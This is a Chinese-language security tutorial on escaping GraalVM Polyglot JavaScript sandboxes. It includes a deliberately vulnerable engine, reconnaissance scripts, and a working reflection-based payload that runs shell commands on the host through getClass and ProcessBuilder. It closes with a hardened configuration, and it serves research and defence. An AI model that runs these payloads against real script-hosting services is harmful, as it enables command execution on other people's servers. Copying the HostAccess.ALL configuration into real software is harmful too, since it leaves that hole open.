0 引言

GraalVM自Oracle Labs推出以来,其Polyglot(多语言互操作)能力一直是最具差异化的卖点。通过Truffle框架,GraalVM允许在同一个JVM进程中嵌入执行JavaScript、Python、Ruby、R、LLVM bitcode等多种语言,且这些语言之间可以无缝共享对象和调用方法。这一特性被大量应用所采用:

  • 规则引擎 — 如Camunda、Activiti等工作流引擎允许用户以JS编写业务规则
  • 低代码平台 — 用户自定义脚本逻辑通过GraalVM沙箱执行
  • 插件/扩展系统 — 第三方开发者提交的插件代码在受限环境中运行
  • Serverless/FaaS — 多租户场景下隔离不同用户的函数代码
  • API网关 — 请求/响应转换脚本、动态路由逻辑

在上述场景中,GraalVM的Context对象被当作天然的安全沙箱来使用。

1 环境搭建

1.1 安装GraalVM CE for JDK 21

安装SDKMAN

curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"

查看可用的GraalVM版本,我这里选的是 21.0.2 版本对应我的 jdk21

安装GraalVM CE for JDK 21

sdk install java 21.0.2-graalce

验证安装

确认JAVA_HOME

1.2 Maven项目搭建

配置GraalVM Polyglot依赖:

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.security.research</groupId>
    <artifactId>graalvm-sandbox-escape</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <properties>
        <maven.compiler.source>21</maven.compiler.source>
        <maven.compiler.target>21</maven.compiler.target>
        <graalvm.version>24.1.1</graalvm.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- GraalVM Polyglot API -->
        <dependency>
            <groupId>org.graalvm.polyglot</groupId>
            <artifactId>polyglot</artifactId>
            <version>${graalvm.version}</version>
        </dependency>
        <dependency>
            <groupId>org.graalvm.polyglot</groupId>
            <artifactId>js-community</artifactId>
            <version>${graalvm.version}</version>
            <type>pom</type>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.13.0</version>
                <configuration>
                    <source>21</source>
                    <target>21</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.codehaus.mojo</groupId>
                <artifactId>exec-maven-plugin</artifactId>
                <version>3.4.1</version>
                <configuration>
                    <mainClass>com.security.research.VulnerableScriptEngine</mainClass>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

1.3 模拟安全脚本执行平台

以下是一个模拟的"安全脚本执行平台":接收用户提交的JS脚本,在"受限"的GraalVM Context中执行,同时暴露一个ScriptHelper工具对象作为脚本API。

首先是暴露给沙箱的工具类:

ScriptHelper.java

package com.security.research;

import org.graalvm.polyglot.HostAccess;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class ScriptHelper {

    private final Map<String, String> config;

    public ScriptHelper() {
        this.config = new HashMap<>();
        config.put("app.name", "SandboxDemo");
        config.put("app.version", "1.0.0");
        config.put("app.env", "production");
    }

    @HostAccess.Export
    public void log(String msg) {
        System.out.println("[SCRIPT LOG] " + msg);
    }

    @HostAccess.Export
    public String getConfig(String key) {
        return config.getOrDefault(key, "");
    }

    @HostAccess.Export
    public String formatDate(long timestamp) {
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        return sdf.format(new Date(timestamp));
    }
}

然后是沙箱引擎主类:

SandboxedScriptEngine.java

package com.security.research;

import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.HostAccess;
import org.graalvm.polyglot.PolyglotException;
import org.graalvm.polyglot.Value;

public class SandboxedScriptEngine {

    public static void executeScript(String userScript) {
        ScriptHelper helper = new ScriptHelper();

        // 构建"安全"的沙箱Context
        try (Context context = Context.newBuilder("js")
                .allowHostAccess(HostAccess.EXPLICIT)  // 仅允许@Export方法
                .allowHostClassLookup(s -> false)       // 禁止Java.type()
                .allowIO(false)                          // 禁止IO
                .allowCreateThread(false)                // 禁止创建线程
                .allowNativeAccess(false)                // 禁止native调用
                .allowCreateProcess(false)               // 禁止创建进程
                .build()) {

            // 将工具对象注入JS全局作用域
            context.getBindings("js").putMember("scriptHelper", helper);

            // 执行用户脚本
            Value result = context.eval("js", userScript);
            System.out.println("[ENGINE] Script result: " + result);

        } catch (PolyglotException e) {
            System.err.println("[ENGINE] Script error: " + e.getMessage());
        }
    }

    public static void main(String[] args) throws Exception {
        String testScript;
        if (args.length > 0) {
            testScript = new String(
                java.nio.file.Files.readAllBytes(
                    java.nio.file.Path.of(args[0])
                )
            );
        } else {
            testScript = """
                scriptHelper.log('Hello from sandbox');
                var name = scriptHelper.getConfig('app.name');
                scriptHelper.log('App: ' + name);
                var now = scriptHelper.formatDate(Date.now());
                scriptHelper.log('Time: ' + now);
                'done';
                """;
        }

        System.out.println("=== Sandboxed Script Engine (EXPLICIT) ===");
        executeScript(testScript);
    }
}

VulnerableScriptEngine.java

package com.security.research;

import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.HostAccess;
import org.graalvm.polyglot.PolyglotException;
import org.graalvm.polyglot.Value;

public class VulnerableScriptEngine {

    public static void executeScript(String userScript) {
        ScriptHelper helper = new ScriptHelper();

        try (Context context = Context.newBuilder("js")
                .allowHostAccess(HostAccess.ALL)
                .allowHostClassLookup(s -> false)
                .allowIO(false)
                .allowCreateThread(false)
                .allowNativeAccess(false)
                .allowCreateProcess(false)
                .build()) {

            context.getBindings("js").putMember("scriptHelper", helper);
            Value result = context.eval("js", userScript);
            System.out.println("[ENGINE] Script result: " + result);

        } catch (PolyglotException e) {
            System.err.println("[ENGINE] Script error: " + e.getMessage());
        }
    }
}

编译并运行:

mvn clean compile exec:java

从表面上看,这个沙箱引擎的配置中规中矩:使用HostAccess.EXPLICIT仅暴露带@Export注解的方法,关闭了IO、进程创建、native访问等所有危险权限。但正如后文将要展示的,安全边界远没有看起来那么坚固。

2 GraalVM Polyglot安全架构

2.1 Context隔离模型

GraalVM Polyglot的安全核心是Context对象。每个Context是一个独立的执行环境,通过Context.Builder上的一系列allow*方法控制其权限范围。为了直观理解allowAllAccess(true)这个"超级开关"带来的安全差异,通过以下两组配置对比来说明:

默认安全配置

Context safe = Context.newBuilder("js").build();
// 等价于以下所有配置的组合:
//   allowHostAccess      = HostAccess.EXPLICIT  ← 仅@Export成员可见
//   allowHostClassLookup = null                 ← Java.type()不可用
//   allowIO              = IOAccess.NONE        ← 无文件/网络访问
//   allowCreateProcess   = false                ← 不可执行系统命令
//   allowNativeAccess    = false                ← 无JNI
//   allowCreateThread    = false                ← 不可创建线程
//   allowPolyglotAccess  = PolyglotAccess.NONE  ← 无跨语言调用
//   allowEnvironmentAccess = EnvironmentAccess.NONE

allowAllAccess(true)

Context dangerous = Context.newBuilder("js")
    .allowAllAccess(true)  // ← 这一行把上面所有配置全部设为最宽松
    .build();
// 实际等价于:
//   allowHostAccess      = HostAccess.ALL       ← 所有public成员可见!
//   allowHostClassLookup = className -> true    ← 可加载任意类!
//   allowIO              = IOAccess.ALL         ← 完全文件/网络访问!
//   allowCreateProcess   = true                 ← 可执行系统命令!
//   allowNativeAccess    = true                 ← JNI可用!
//   allowCreateThread    = true
//   allowPolyglotAccess  = PolyglotAccess.ALL
//   allowEnvironmentAccess = EnvironmentAccess.INHERIT

同一段恶意JS代码,在两种HostAccess配置下走向完全不同的路径:

2.2 HostAccess策略详解

HostAccess是Polyglot安全模型中最精细的控制层,决定了宿主Java对象的哪些成员可以被脚本语言访问。GraalVM提供了7种预定义策略,这里重点对比在安全实践中最常遇到的三种。

  1. HostAccess.EXPLICIT(默认值)——仅允许访问标注了@HostAccess.Export的public方法和字段。getClass()、hashCode()等Object基础方法不可见。这是安全基线。通过以下代码可以直接验证:

输出中的"undefined"意味着 getClass不可见,攻击链在此中断。

  1. HostAccess.SCOPED——与EXPLICIT规则相同,增加了方法作用域限制:传递给宿主回调的Value参数在回调返回后自动失效。防止脚本通过保留回调参数引用绕过生命周期控制。
  2. HostAccess.ALL——开放所有public成员的访问权限,包括从java.lang.Object继承的方法。这意味着getClass()、equals()、hashCode()、notify()、wait()全部暴露。

GraalVM官方Javadoc对此策略的原文警告是:"It is highly discouraged from using this policy in environments where the guest application is not fully trusted."

另外四种策略(NONE、CONSTRAINED、ISOLATED、UNTRUSTED)均比EXPLICIT更严格,分别对应不同级别的SandboxPolicy。其中UNTRUSTED甚至禁止接口实现和集合类型访问,是GraalVM为完全不可信代码设计的最高安全等级。

2.3 Value类型系统与跨语言代理

当Java对象通过putMember()注入到JS上下文时,GraalVM并不是简单地复制对象,而是创建了一个代理包装(Proxy Wrapper)。JS代码看到的是一个外观类似JS对象的代理,其属性访问和方法调用会被HostAccess策略过滤后转发到底层Java对象。

对象图的可遍历性取决于HostAccess策略,而不是对象本身的设计。即使开发者只打算暴露ScriptHelper的三个方法,但如果HostAccess策略过于宽松,攻击者可以从这三个方法的返回值出发,遍历到整个JVM的对象图。

3 攻击面枚举

在深入构造攻击链之前,需要系统性地枚举GraalVM Polyglot Context中所有可能的攻击面。以下分析基于一个典型场景:开发者创建了受限Context并暴露了若干Java对象作为API。

3.1 攻击面1:暴露的宿主对象方法反射

当HostAccess.ALL被使用时,暴露对象的所有public方法均可被脚本调用——包括继承自java.lang.Object的方法。其中getClass()是最危险的:它返回一个Class对象,而Class提供了通往Java反射API的完整入口。

攻击路径:exposedObj.getClass() → Class.forName() → Runtime.getRuntime() → exec()

3.2 攻击面2:通过getClass()的链式反射调用

即使开发者"只暴露了一个简单的工具对象",getClass()打开的反射链使得攻击者可以:

  • 获取任意类的Class对象(通过Class.forName())
  • 调用任意类的任意方法(通过Method.invoke())
  • 访问任意字段(通过Field.get()/Field.set())
  • 创建任意类的实例(通过Constructor.newInstance())

3.3 攻击面3:原型链污染跨越语言边界

GraalJS实现了ECMAScript标准的原型链机制。当Java对象被代理为JS对象时,其原型链的行为可能产生意料之外的可达性。特别是当allowListAccess或allowMapAccess被开启时,Java集合类型的迭代器和内部节点对象可能通过原型链暴露。

3.4 攻击面4:Value对象的成员枚举与类型混淆

GraalVM的Value对象提供了getMemberKeys()方法,允许枚举一个对象的所有可访问成员。结合getMetaObject()可获取对象的类型元信息。在宽松的HostAccess策略下,这使得攻击者可以进行系统性的对象图侦察。

3.5 攻击面5:Polyglot Bindings共享通道

当allowPolyglotAccess不是NONE时,Polyglot.import()/Polyglot.export()提供了跨语言共享通道。如果多个语言上下文共享同一个Engine,且polyglot bindings中存储了敏感对象引用,攻击者可能通过该通道获取未预期的对象。

4 攻击链构造 — Phase 1:沙箱内侦察

4.1 枚举全局对象

GraalJS环境中,脚本可以通过globalThis或this(在顶层作用域)访问全局对象,从而发现注入的宿主对象:

recon_globals.js

// Phase 1a: 枚举全局作用域中的所有名称
var names = Object.getOwnPropertyNames(globalThis);
var hostObjects = [];

for (var i = 0; i < names.length; i++) {
    var name = names[i];
    try {
        var val = globalThis[name];
        var type = typeof val;
        // 识别宿主对象:通常typeof为'object'或'function'
        // 且不是标准JS内置对象
        if (type === 'object' && val !== null && val !== globalThis) {
            hostObjects.push(name);
        }
    } catch(e) {
        // 某些属性访问可能抛出异常,记录下来
        hostObjects.push(name + ' [ACCESS_ERROR: ' + e.message + ']');
    }
}

scriptHelper.log('Global object count: ' + names.length);
scriptHelper.log('Potential host objects: ' + hostObjects.join(', '));

recon_globals.js 是在 VulnerableScriptEngine 中执行的(HostAccess.ALL 配置)。

VulnerableScriptEngine 没有 main 方法,需要在类的末尾加:

public static void main(String[] args) throws Exception {
    String script = new String(
        java.nio.file.Files.readAllBytes(
            java.nio.file.Path.of(args[0])
        )
    );
    System.out.println("=== Vulnerable Script Engine ===");
    executeScript(script);
}

然后把 recon_globals.js 放到项目根目录,运行:

mvn -q compile dependency:copy-dependencies -DoutputDirectory=target/lib
java -cp "target/classes:target/lib/*" com.security.research.VulnerableScriptEngine recon_globals.js

说明:

  • scriptHelper -- 我们注入的 Java 工具对象,确认可达
  • Java, Packages, java, javax, com, org -- 这些是 GraalVM Polyglot 暴露的 Java 互操作命名空间。虽然 allowHostClassLookup(s -> false) 禁止了 Java.type(),但这些对象本身仍然存在于全局作用域。

4.2 探测暴露对象的可调用成员

发现scriptHelper后,下一步是枚举它的所有可访问成员。在HostAccess.EXPLICIT下,只有@Export方法可见;而在HostAccess.ALL下,所有public方法均可见:

recon_members.js

// Phase 1b: 枚举scriptHelper的所有可访问成员
var members = Object.getOwnPropertyNames(scriptHelper);
scriptHelper.log('=== scriptHelper Members ===');
scriptHelper.log('Member count: ' + members.length);

for (var i = 0; i < members.length; i++) {
    var m = members[i];
    var val = scriptHelper[m];
    var type = typeof val;
    var info = m + ' : ' + type;

    if (type === 'function') {
        // 尝试获取参数数量(arity)
        info += ' (arity=' + val.length + ')';
    }
    scriptHelper.log(info);
}

// 特别检查:getClass()是否可达?
scriptHelper.log('=== Critical Checks ===');
scriptHelper.log('getClass accessible: ' + (typeof scriptHelper.getClass));
scriptHelper.log('hashCode accessible: ' + (typeof scriptHelper.hashCode));
scriptHelper.log('toString accessible: ' + (typeof scriptHelper.toString));

同样通过 VulnerableScriptEngine 执行。把这段代码保存为 recon_members.js 放到项目根目录,然后两个引擎分别跑同一个 recon_members.js 做对比:

java -cp "target/classes:target/lib/*" com.security.research.SandboxedScriptEngine recon_members.js

java -cp "target/classes:target/lib/*" com.security.research.VulnerableScriptEngine recon_members.js在·

在HostAccess.ALL配置下,getClass()方法可达,同时class属性(对应getClass()的JavaBean访问器)也暴露为可读对象。即可确认存在从沙箱逃逸到宿主Java环境的路径。

4.3 通过toString()获取类型信息

即使在HostAccess.EXPLICIT下,toString()方法通常仍然可访问(因为GraalVM默认允许它用于字符串转换)。通过它可以获取对象的类名信息:

recon_typeof.js

// 通过字符串转换获取类型信息
var str = scriptHelper.toString();
scriptHelper.log('toString: ' + str);

// 检查各方法的返回类型
var configVal = scriptHelper.getConfig('app.name');
scriptHelper.log('getConfig returns: ' + (typeof configVal) + ' = ' + configVal);

var dateVal = scriptHelper.formatDate(Date.now());
scriptHelper.log('formatDate returns: ' + (typeof dateVal) + ' = ' + dateVal);

toString: com.security.research.ScriptHelper@293bb8a5 -- 通过字符串转换直接泄露了完整类名 com.security.research.ScriptHelper 和内存地址。由此获知目标对象的包路径和类名,为后续反射调用提供精确信息。

这些信息对于后续攻击阶段的精确构造至关重要——知道类的完整包路径意味着攻击者可以推断应用的架构和可能的依赖关系。

5 攻击链构造 — Phase 2:getClass()逃逸

EXPLOIT本阶段展示当HostAccess.ALL被使用时,如何通过getClass()方法从沙箱中的任意暴露Java对象逃逸到宿主JVM环境。

5.1 核心原理

getClass()是java.lang.Object的public方法,返回对象的Class对象。在HostAccess.ALL策略下,它像普通方法一样被暴露给脚本语言。一旦获取了Class对象,攻击者就进入了Java反射API的领域——这里没有任何沙箱限制。

反射逃逸链的核心路径:

5.2 漏洞代码

首先,构造一个使用HostAccess.ALL的(有漏洞的)引擎版本。

VulnerableScriptEngine.java

package com.security.research;

import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.HostAccess;
import org.graalvm.polyglot.PolyglotException;
import org.graalvm.polyglot.Value;

public class VulnerableScriptEngine {

    public static void executeScript(String userScript) {
        ScriptHelper helper = new ScriptHelper();

        // 常见的错误配置:使用HostAccess.ALL
        try (Context context = Context.newBuilder("js")
                .allowHostAccess(HostAccess.ALL)        // ← 漏洞根因
                .allowHostClassLookup(s -> false)       // 禁止Java.type()
                .allowIO(false)
                .allowCreateThread(false)
                .allowNativeAccess(false)
                .allowCreateProcess(false)               // 看似安全
                .build()) {

            context.getBindings("js").putMember("scriptHelper", helper);
            Value result = context.eval("js", userScript);
            System.out.println("[ENGINE] Script result: " + result);

        } catch (PolyglotException e) {
            System.err.println("[ENGINE] Script error: " + e.getMessage());
        }
    }
    public static void main(String[] args) throws Exception {
        System.out.println("=== Vulnerable Script Engine ===");
        if (args.length > 0) {
            String script = java.nio.file.Files.readString(java.nio.file.Path.of(args[0]));
            executeScript(script);
        } else {
            System.err.println("Usage: VulnerableScriptEngine <script.js>");
        }
    }
}

这里面禁用了allowHostClassLookup(JS中无法使用Java.type())、禁用了allowCreateProcess、禁用了IO和native访问。从配置清单看似乎做了充分的限制。但HostAccess.ALL的存在使得所有这些限制都可以通过反射链绕过。

5.3 逃逸PoC

escape_getclass.js

// 前提条件: HostAccess.ALL

// Step 1: 从暴露的任意Java对象获取Class
var clazz = scriptHelper.getClass();
scriptHelper.log('[+] Got Class: ' + clazz.getName());

// Step 2: 获取ClassLoader,用loadClass()替代forName()
// forName()是静态方法,GraalVM interop无法通过实例调用
// loadClass()是ClassLoader的实例方法,可以正常调用
var classLoader = clazz.getClassLoader();
scriptHelper.log('[+] Got ClassLoader: ' + classLoader);

var runtimeClass = classLoader.loadClass('java.lang.Runtime');
scriptHelper.log('[+] Got Runtime class: ' + runtimeClass.getName());

// Step 3: 获取getRuntime()方法
var getRuntimeMethod = runtimeClass.getMethod('getRuntime');
scriptHelper.log('[+] Got getRuntime method: ' + getRuntimeMethod);

// Step 4: 调用getRuntime()获取Runtime实例
var runtime = getRuntimeMethod.invoke(null);
scriptHelper.log('[+] Got Runtime instance: ' + runtime);

// Step 5: 获取exec(String)方法
var stringClass = classLoader.loadClass('java.lang.String');
var execMethod = runtimeClass.getMethod('exec', stringClass);
scriptHelper.log('[+] Got exec method: ' + execMethod);

// Step 6: 执行系统命令
var process = execMethod.invoke(runtime, 'id');
scriptHelper.log('[+] Command executed, reading output...');

// Step 7: 读取命令输出
var processClass = classLoader.loadClass('java.lang.Process');
var getInputStream = processClass.getMethod('getInputStream');
var is = getInputStream.invoke(process);

var inputStreamClass = classLoader.loadClass('java.io.InputStream');
var isrClass = classLoader.loadClass('java.io.InputStreamReader');
var isrConstructor = isrClass.getConstructor(inputStreamClass);
var isr = isrConstructor.newInstance(is);

var brClass = classLoader.loadClass('java.io.BufferedReader');
var readerClass = classLoader.loadClass('java.io.Reader');
var brConstructor = brClass.getConstructor(readerClass);
var br = brConstructor.newInstance(isr);

var readLineMethod = brClass.getMethod('readLine');
var output = '';
var line;
while ((line = readLineMethod.invoke(br)) !== null) {
    output += line + '\n';
}

scriptHelper.log('[+] Command output:\n' + output);

// 清理
var closeMethod = brClass.getMethod('close');
closeMethod.invoke(br);

'ESCAPE_SUCCESSFUL';

重新编译运行

mvn clean compile exec:java -Dexec.args="escape_getclass.js"

逃逸成功。id 命令的输出已经打印出来了——从 GraalVM 沙箱内部拿到了宿主系统的 uid=1000(nl) 及完整的用户组信息,最终返回 ESCAPE_SUCCESSFUL。

这些配置只作用于 GraalJS 语言引擎层面。而攻击链走的是 JVM 反射层面(ClassLoader.loadClass → Method.invoke),完全不经过语言引擎的权限检查。HostAccess.ALL 是唯一的漏洞根因——它让 getClass() 对脚本可见,打开了通往反射 API 的大门。

6 攻击链构造 — Phase 3:HostAccess.EXPLICIT下的绕过

前一阶段证明了HostAccess.ALL下的直接逃逸。那么使用了"推荐"的HostAccess.EXPLICIT策略后,是否就安全了?

6.1EXPLICIT策略的防护边界

在HostAccess.EXPLICIT下,只有标注了@HostAccess.Export的public方法和字段对脚本可见。getClass()、hashCode()等Object基础方法不被暴露(除了toString()可能因字符串转换被隐式调用)。这确实堵住了前一阶段的直接反射链。

然而,EXPLICIT策略的安全性高度依赖于暴露方法的返回值类型。如果一个@Export方法返回的不是基本类型或String,而是一个复杂的Java对象,那么攻击者可以通过返回值访问到原本不打算暴露的对象图区域。

6.2 技术1:通过返回值类型进行对象图遍历

考虑一个常见的设计失误——getConfig()方法返回了一个Map对象:

LeakyScriptHelper.java

package com.security.research;

import org.graalvm.polyglot.HostAccess;
import java.util.*;

public class LeakyScriptHelper {

    private final Properties config;

    public LeakyScriptHelper() {
        this.config = System.getProperties(); // 危险:系统属性
    }

    @HostAccess.Export
    public void log(String msg) {
        System.out.println("[LOG] " + msg);
    }

    // 设计失误1:返回整个Properties对象而非单个值
    @HostAccess.Export
    public Properties getAllConfig() {
        return this.config;
    }

    // 设计失误2:返回了一个包含敏感方法的对象
    @HostAccess.Export
    public Runtime getSystemInfo() {
        // 本意是让脚本获取内存信息,但返回了整个Runtime对象
        return Runtime.getRuntime();
    }
}

对应的利用脚本:

exploit_return_value.js

// 攻击向量1:通过getAllConfig()泄露系统属性
var props = scriptHelper.getAllConfig();
// Properties继承自Hashtable,在EXPLICIT + allowMapAccess场景下
// 如果开发者同时配置了allowMapAccess(true),则可以枚举所有键值

// 即使没有allowMapAccess,toString()通常可用:
scriptHelper.log('Properties: ' + props);
// 也可能泄露java.home, os.name, user.dir, classpath等敏感信息

GraalVM的安全模型默认信任@Export方法返回的任何对象,不会对返回值进行二次过滤。返回值对象上的可访问性仍然遵循HostAccess策略,但即使在EXPLICIT下,toString()的隐式调用已经足以泄露大量信息。

6.3 技术2:利用Object基础方法

在HostAccess.EXPLICIT下,toString()处于一个灰色地带。GraalVM在进行字符串拼接时会隐式调用Java对象的toString()方法。这可以被利用来提取类型信息:

exploit_tostring.js

// toString()在字符串拼接时被隐式调用
var info = '' + scriptHelper;
scriptHelper.log('Object info: ' + info);
// 输出: com.security.research.ScriptHelper@1a2b3c4d
// 暴露了:完整类名、包路径、对象哈希码

// 进一步:如果@Export方法返回了复杂对象
var configVal = scriptHelper.getConfig('nonexistent');
scriptHelper.log('Config type: ' + (typeof configVal));
// 通过返回值的typeof判断是否返回了Java对象

6.4 技术3:通过异常对象泄露信息

这是最容易被忽视的信息泄露通道。当沙箱内的代码触发Java侧异常时,异常消息和堆栈信息中可能包含大量敏感数据。

exploit_exception.js

/ 技术3a: 故意传入错误参数类型触发异常
try {
    scriptHelper.formatDate("not_a_number");
} catch(e) {
    scriptHelper.log('Exception type: ' + e);
    scriptHelper.log('Exception message: ' + e.message);
    // 异常消息可能包含:
    // - Java类名和方法签名
    // - 参数类型信息
    // - 内部堆栈路径
}

// 技术3b: 传入null触发NullPointerException
try {
    scriptHelper.getConfig(null);
} catch(e) {
    scriptHelper.log('NPE info: ' + e.message);
}

// 技术3c: 传入超长字符串/特殊字符探测
try {
    scriptHelper.log('A'.repeat(1000000));
} catch(e) {
    scriptHelper.log('Error: ' + e.message);
    // 可能泄露内存限制、缓冲区大小等信息
}

// 技术3d: 利用PolyglotException的getPolyglotStackTrace()
try {
    scriptHelper.formatDate(undefined);
} catch(e) {
    if (e.stack) {
        scriptHelper.log('Stack trace:\n' + e.stack);
        // 堆栈信息暴露了:
        // - Java方法调用链
        // - 框架版本和内部类
        // - 文件路径(如果是SourceSection相关异常)
    }
}

从上述输出中,攻击者可以获得:

  • Java方法的参数类型(long类型的formatDate参数)
  • 内部变量名("key" is null暴露了参数名为key)
  • 完整的Java调用栈,包括框架类名和行号
  • 源文件路径(SandboxedScriptEngine.java:24)

这些信息对于后续构造更精准的攻击payload极为有价值。

7 攻击链构造 — Phase 4:完整RCE链

本阶段将前三个Phase的技术串联成一条从沙箱JS到宿主Java执行任意系统命令并获取完整输出的端到端攻击链。

7.1 攻击场景设定

目标为典型的多租户脚本执行场景:宿主应用通过 GraalVM Polyglot Context 执行用户提交的 JavaScript 代码,采用 HostAccess.ALL 策略注入业务工具对象,同时通过 allowIO(false)、allowCreateProcess(false) 等 Context 级配置实施权限收敛。攻击者为拥有脚本提交权限的低权限租户。

7.2 攻击端:

full_rce_payload.js

(function() {
    'use strict';

    var log = scriptHelper.log;

    // ---- Phase 1: Reconnaissance ----
    log('[*] Phase 1: Reconnaissance');
    var objClass = scriptHelper.getClass();
    log('[+] Target class: ' + objClass.getName());

    // ---- Phase 2: Reflection chain setup ----
    log('[*] Phase 2: Building reflection chain');

    // 核心工具函数:通过反射调用任意类的任意方法
    function getClass(name) {
        return objClass.forName(name);
    }

    function invokeStatic(className, methodName, argTypes, args) {
        var cls = getClass(className);
        var method = argTypes
            ? cls.getMethod(methodName, argTypes)
            : cls.getMethod(methodName);
        return args ? method.invoke(null, args) : method.invoke(null);
    }

    function invokeInstance(obj, methodName, argTypes, args) {
        var cls = obj.getClass();
        var method = argTypes
            ? cls.getMethod(methodName, argTypes)
            : cls.getMethod(methodName);
        return args ? method.invoke(obj, args) : method.invoke(obj);
    }

    // ---- Phase 3: Execute command via ProcessBuilder ----
    log('[*] Phase 3: Executing command via ProcessBuilder');

    var arrayListClass = getClass('java.util.ArrayList');
    var cmdList = arrayListClass.getConstructor().newInstance();
    var objectClass = getClass('java.lang.Object');

    // 构造命令:/bin/sh -c "id && uname -a && cat /etc/hostname"
    var addMethod = arrayListClass.getMethod('add', objectClass);
    addMethod.invoke(cmdList, '/bin/sh');
    addMethod.invoke(cmdList, '-c');
    addMethod.invoke(cmdList, 'id && echo "---" && uname -a && echo "---" && whoami && echo "---" && pwd');

    // 构造ProcessBuilder
    var listClass = getClass('java.util.List');
    var pbClass = getClass('java.lang.ProcessBuilder');
    var pbConstructor = pbClass.getConstructor(listClass);
    var pb = pbConstructor.newInstance(cmdList);

    // 重定向stderr到stdout
    var booleanType = getClass('java.lang.Boolean').getField('TYPE').get(null);
    var redirectErrorStream = pbClass.getMethod(
        'redirectErrorStream',
        booleanType
    );
    redirectErrorStream.invoke(pb, true);

    // 启动进程
    var startMethod = pbClass.getMethod('start');
    var process = startMethod.invoke(pb);
    log('[+] Process started');

    // ---- Phase 4: Read command output ----
    log('[*] Phase 4: Reading output');

    var processClass = process.getClass();
    var getIS = processClass.getMethod('getInputStream');
    var inputStream = getIS.invoke(process);

    // InputStream → InputStreamReader → BufferedReader
    var isClass = getClass('java.io.InputStream');
    var isrClass = getClass('java.io.InputStreamReader');
    var readerClass = getClass('java.io.Reader');
    var brClass = getClass('java.io.BufferedReader');

    var isr = isrClass.getConstructor(isClass).newInstance(inputStream);
    var br = brClass.getConstructor(readerClass).newInstance(isr);

    var readLine = brClass.getMethod('readLine');
    var sb = getClass('java.lang.StringBuilder').getConstructor().newInstance();
    var sbAppend = getClass('java.lang.StringBuilder').getMethod(
        'append', getClass('java.lang.String')
    );
    var line;

    while ((line = readLine.invoke(br)) !== null) {
        sbAppend.invoke(sb, line);
        sbAppend.invoke(sb, '\n');
    }

    // 等待进程结束
    var waitFor = processClass.getMethod('waitFor');
    var exitCode = waitFor.invoke(process);

    // 关闭流
    brClass.getMethod('close').invoke(br);

    var output = sb.toString();

    log('[+] Exit code: ' + exitCode);
    log('[+] === Command Output ===\n' + output);
    log('[!] Sandbox escape complete — arbitrary command execution achieved');

    return 'RCE_SUCCESS';
})();

7.3 宿主端:

FullDemo.java

package com.security.research;

import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.HostAccess;
import org.graalvm.polyglot.PolyglotException;
import org.graalvm.polyglot.Value;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

public class FullDemo {

    public static void main(String[] args) throws IOException {
        System.out.println();

        String payload;
        if (args.length > 0) {
            payload = Files.readString(Path.of(args[0]));
        } else {
            payload = """
                var clazz = scriptHelper.getClass();
                var cl = clazz.getClassLoader();
                var rt = cl.loadClass('java.lang.Runtime')
                    .getMethod('getRuntime').invoke(null);
                var proc = cl.loadClass('java.lang.Runtime')
                    .getMethod('exec', cl.loadClass('java.lang.String'))
                    .invoke(rt, 'id');
                var br = cl.loadClass('java.io.BufferedReader')
                    .getConstructor(cl.loadClass('java.io.Reader'))
                    .newInstance(
                        cl.loadClass('java.io.InputStreamReader')
                            .getConstructor(cl.loadClass('java.io.InputStream'))
                            .newInstance(cl.loadClass('java.lang.Process')
                                .getMethod('getInputStream').invoke(proc))
                    );
                var line, out = '';
                while ((line = br.getClass().getMethod('readLine')
                    .invoke(br)) !== null) { out += line + '\\n'; }
                scriptHelper.log('[RCE] ' + out);
                'done';
                """;
        }

        ScriptHelper helper = new ScriptHelper();

        try (Context ctx = Context.newBuilder("js")
                .allowHostAccess(HostAccess.ALL)
                .allowHostClassLookup(s -> false)
                .allowIO(false)
                .allowCreateThread(false)
                .allowNativeAccess(false)
                .allowCreateProcess(false)
                .build()) {

            ctx.getBindings("js").putMember("scriptHelper", helper);

            System.out.println("[*] Executing user-submitted script...");
            System.out.println("[*] Context config: allowIO=false, "
                + "allowCreateProcess=false, allowNativeAccess=false");
            System.out.println("[*] HostAccess: ALL");
            System.out.println();

            Value result = ctx.eval("js", payload);
            System.out.println("\n[*] Script returned: " + result);

        } catch (PolyglotException e) {
            System.err.println("[!] Execution failed: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

这里还需要调整 pom.xml 的mainClass 为 FullDemo

然后运行:

mvn clean compile -q && mvn -q exec:java

在所有 Context 级安全配置均开启的情况下,内联 payload 通过反射链完成了从沙箱 JS 到宿主系统命令执行的全过程

​

8 纵深防御方案

8.1 防御层1:最小权限Context配置

Context配置是第一道防线。以下是安全的配置模板:

Context context = Context.newBuilder("js")    // 仅允许JS,不要省略语言参数
    .allowHostAccess(HostAccess.SCOPED)          // 使用SCOPED而非EXPLICIT
    .allowHostClassLookup(s -> false)            // 禁止Java.type()
    .allowHostClassLoading(false)                // 禁止类加载
    .allowIO(IOAccess.NONE)                       // 完全禁止IO
    .allowCreateThread(false)                    // 禁止线程
    .allowNativeAccess(false)                    // 禁止native
    .allowCreateProcess(false)                   // 禁止进程
    .allowPolyglotAccess(PolyglotAccess.NONE)    // 禁止跨语言访问
    .allowEnvironmentAccess(EnvironmentAccess.NONE)
    .allowValueSharing(false)                    // 禁止Value共享
    .allowExperimentalOptions(false)
    .build();

